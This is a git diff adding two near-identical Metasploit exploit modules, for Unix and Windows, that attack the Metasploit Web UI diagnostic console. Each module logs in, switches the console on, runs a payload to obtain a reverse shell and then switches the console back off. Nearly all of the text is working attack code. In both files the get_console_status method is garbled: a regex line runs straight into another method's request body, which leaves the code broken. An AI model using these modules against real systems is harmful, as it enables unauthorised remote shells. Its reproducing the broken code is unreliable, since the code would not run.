diff --git a/modules/exploits/unix/webapp/metasploit_webui_console_command_execution.rb b/modules/exploits/unix/webapp/metasploit_webui_console_command_execution.rb
new file mode 100644
index 0000000000..ed0635cfa0
--- /dev/null
+++ b/modules/exploits/unix/webapp/metasploit_webui_console_command_execution.rb
@@ -0,0 +1,275 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'uri'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
+ 'Description' => %q{
+ This module exploits the "diagnostic console" feature in the Metasploit
+ Web UI to obtain a reverse shell.
+
+ The diagnostic console is able to be enabled or disabled by an
+ administrator on Metasploit Pro and by an authenticated user on
+ Metasploit Express and Metasploit Community. When enabled, the
+ diagnostic console provides access to msfconsole via the web interface.
+ An authenticated user can then use the console to execute shell
+ commands.
+
+ NOTE: Valid credentials are required for this module.
+
+ Tested against:
+
+ Metasploit Community 4.1.0,
+ Metasploit Community 4.8.2,
+ Metasploit Community 4.12.0
+ },
+ 'Author' => [ 'Justin Steven' ], # @justinsteven
+ 'License' => MSF_LICENSE,
+ 'Privileged' => true,
+ 'Platform' => %w{ linux unix },
+ 'Arch' => ARCH_CMD,
+ 'Payload' => { 'PayloadType' => 'cmd' },
+ 'Targets' => [ ['Automatic', { }], ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Aug 23 2016'
+ ))
+
+ register_options(
+ [
+ OptBool.new('SSL', [ true, 'Use SSL', true ]),
+ OptPort.new('RPORT', [ true, '', 3790 ]),
+ OptString.new('TARGETURI', [ true, 'MSF base path', '/' ]),
+ OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
+ OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
+ ], self.class)
+ end
+
+ def do_login()
+
+ print_status('Obtaining cookies and authenticity_token')
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'login'),
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to retrieve login page')
+ end
+
+ unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
+ fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
+ end
+
+ authenticity_token = $1
+ session = res.get_cookies
+
+ print_status('Logging in')
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'user_sessions'),
+ 'cookie' => session,
+ 'vars_post' =>
+ {
+ 'utf8' => '\xE2\x9C\x93',
+ 'authenticity_token' => authenticity_token,
+ 'user_session[username]' => datastore['USERNAME'],
+ 'user_session[password]' => datastore['PASSWORD'],
+ 'commit' => 'Sign in'
+ }
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to log in')
+ end
+
+ return res.get_cookies, authenticity_token
+
+ end
+
+ def get_console_status(session)
+
+ print_status('Getting diagnostic console status and profile_id')
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'settings'),
+ 'cookie' => session,
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
+ end
+
+ unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
+ fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
+ end
+
+ profile_id = $1
+
+ if res.body =~ / 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
+ 'cookie' => session,
+ 'vars_post' =>
+ {
+ 'utf8' => '\xE2\x9C\x93',
+ '_method' => 'patch',
+ 'authenticity_token' => authenticity_token,
+ 'profile_id' => profile_id,
+ 'allow_console_access' => new_console_status,
+ 'commit' => 'Update Settings'
+ }
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
+ end
+
+ end
+
+ def get_container_id(session, container_label)
+
+ container_label_singular = container_label.gsub(/s$/, "")
+
+ print_status("Getting ID of a valid #{container_label_singular}")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, container_label),
+ 'cookie' => session,
+ })
+
+ unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
+ print_warning("Failed to get a valid #{container_label_singular} ID")
+ return
+ end
+
+ container_id = $1
+
+ vprint_good("Got: #{container_id}")
+
+ container_id
+
+ end
+
+ def get_console(session, container_label, container_id)
+
+ print_status('Creating a console, getting its ID and authenticity_token')
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
+ 'cookie' => session,
+ })
+
+ unless res && res.headers['location']
+ fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
+ end
+
+ console_id = res.headers['location'].split('/')[-1]
+
+ vprint_good("Got console ID: #{console_id}")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
+ 'cookie' => session,
+ })
+
+ unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
+ fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
+ end
+
+ console_authenticity_token = $1
+
+ return console_id, console_authenticity_token
+
+ end
+
+ def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
+
+ print_status('Running payload')
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
+ 'cookie' => session,
+ 'vars_post' =>
+ {
+ 'read' => 'yes',
+ 'cmd' => command,
+ 'authenticity_token' => console_authenticity_token,
+ 'last_event' => '0',
+ '_' => ''
+ }
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to run command')
+ end
+
+ end
+
+ def exploit
+
+ session, authenticity_token = do_login()
+
+ original_console_status, profile_id = get_console_status(session)
+
+ unless original_console_status
+ set_console_status(session, authenticity_token, profile_id, true)
+ end
+
+ if container_id = get_container_id(session, "workspaces")
+ # target calls them "workspaces"
+ container_label = "workspaces"
+ elsif container_id = get_container_id(session, "projects")
+ # target calls them "projects"
+ container_label = "projects"
+ else
+ fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
+ end
+
+ console_id, console_authenticity_token = get_console(session, container_label,container_id)
+
+ run_command(session, container_label, console_authenticity_token,
+ container_id, console_id, payload.encoded)
+
+ unless original_console_status
+ set_console_status(session, authenticity_token, profile_id, false)
+ end
+
+ handler
+
+ end
+
+end
diff --git a/modules/exploits/windows/http/metasploit_webui_console_command_execution.rb b/modules/exploits/windows/http/metasploit_webui_console_command_execution.rb
new file mode 100644
index 0000000000..babb12d8a1
--- /dev/null
+++ b/modules/exploits/windows/http/metasploit_webui_console_command_execution.rb
@@ -0,0 +1,273 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'uri'
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
+ 'Description' => %q{
+ This module exploits the "diagnostic console" feature in the Metasploit
+ Web UI to obtain a reverse shell.
+
+ The diagnostic console is able to be enabled or disabled by an
+ administrator on Metasploit Pro and by an authenticated user on
+ Metasploit Express and Metasploit Community. When enabled, the
+ diagnostic console provides access to msfconsole via the web interface.
+ An authenticated user can then use the console to execute shell
+ commands.
+
+ NOTE: Valid credentials are required for this module.
+
+ Tested against:
+
+ Metasploit Community 4.12.0
+ },
+ 'Author' => [ 'Justin Steven' ], # @justinsteven
+ 'License' => MSF_LICENSE,
+ 'Privileged' => true,
+ 'Platform' => %w{ windows },
+ 'Arch' => ARCH_CMD,
+ 'Payload' => { 'PayloadType' => 'cmd' },
+ 'Targets' => [ ['Automatic', { }], ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => 'Aug 23 2016'
+ ))
+
+ register_options(
+ [
+ OptBool.new('SSL', [ true, 'Use SSL', true ]),
+ OptPort.new('RPORT', [ true, '', 3790 ]),
+ OptString.new('TARGETURI', [ true, 'MSF base path', '/' ]),
+ OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
+ OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
+ ], self.class)
+ end
+
+ def do_login()
+
+ print_status('Obtaining cookies and authenticity_token')
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'login'),
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to retrieve login page')
+ end
+
+ unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
+ fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
+ end
+
+ authenticity_token = $1
+ session = res.get_cookies
+
+ print_status('Logging in')
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'user_sessions'),
+ 'cookie' => session,
+ 'vars_post' =>
+ {
+ 'utf8' => '\xE2\x9C\x93',
+ 'authenticity_token' => authenticity_token,
+ 'user_session[username]' => datastore['USERNAME'],
+ 'user_session[password]' => datastore['PASSWORD'],
+ 'commit' => 'Sign in'
+ }
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to log in')
+ end
+
+ return res.get_cookies, authenticity_token
+
+ end
+
+ def get_console_status(session)
+
+ print_status('Getting diagnostic console status and profile_id')
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, 'settings'),
+ 'cookie' => session,
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
+ end
+
+ unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
+ fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
+ end
+
+ profile_id = $1
+
+ if res.body =~ / 'POST',
+ 'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
+ 'cookie' => session,
+ 'vars_post' =>
+ {
+ 'utf8' => '\xE2\x9C\x93',
+ '_method' => 'patch',
+ 'authenticity_token' => authenticity_token,
+ 'profile_id' => profile_id,
+ 'allow_console_access' => new_console_status,
+ 'commit' => 'Update Settings'
+ }
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
+ end
+
+ end
+
+ def get_container_id(session, container_label)
+
+ container_label_singular = container_label.gsub(/s$/, "")
+
+ print_status("Getting ID of a valid #{container_label_singular}")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, container_label),
+ 'cookie' => session,
+ })
+
+ unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
+ print_warning("Failed to get a valid #{container_label_singular} ID")
+ return
+ end
+
+ container_id = $1
+
+ vprint_good("Got: #{container_id}")
+
+ container_id
+
+ end
+
+ def get_console(session, container_label, container_id)
+
+ print_status('Creating a console, getting its ID and authenticity_token')
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
+ 'cookie' => session,
+ })
+
+ unless res && res.headers['location']
+ fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
+ end
+
+ console_id = res.headers['location'].split('/')[-1]
+
+ vprint_good("Got console ID: #{console_id}")
+
+ res = send_request_cgi({
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
+ 'cookie' => session,
+ })
+
+ unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
+ fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
+ end
+
+ console_authenticity_token = $1
+
+ return console_id, console_authenticity_token
+
+ end
+
+ def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
+
+ print_status('Running payload')
+
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
+ 'cookie' => session,
+ 'vars_post' =>
+ {
+ 'read' => 'yes',
+ 'cmd' => command,
+ 'authenticity_token' => console_authenticity_token,
+ 'last_event' => '0',
+ '_' => ''
+ }
+ })
+
+ unless res
+ fail_with(Failure::NotFound, 'Failed to run command')
+ end
+
+ end
+
+ def exploit
+
+ session, authenticity_token = do_login()
+
+ original_console_status, profile_id = get_console_status(session)
+
+ unless original_console_status
+ set_console_status(session, authenticity_token, profile_id, true)
+ end
+
+ if container_id = get_container_id(session, "workspaces")
+ # target calls them "workspaces"
+ container_label = "workspaces"
+ elsif container_id = get_container_id(session, "projects")
+ # target calls them "projects"
+ container_label = "projects"
+ else
+ fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
+ end
+
+ console_id, console_authenticity_token = get_console(session, container_label,container_id)
+
+ run_command(session, container_label, console_authenticity_token,
+ container_id, console_id, payload.encoded)
+
+ unless original_console_status
+ set_console_status(session, authenticity_token, profile_id, false)
+ end
+
+ handler
+
+ end
+
+end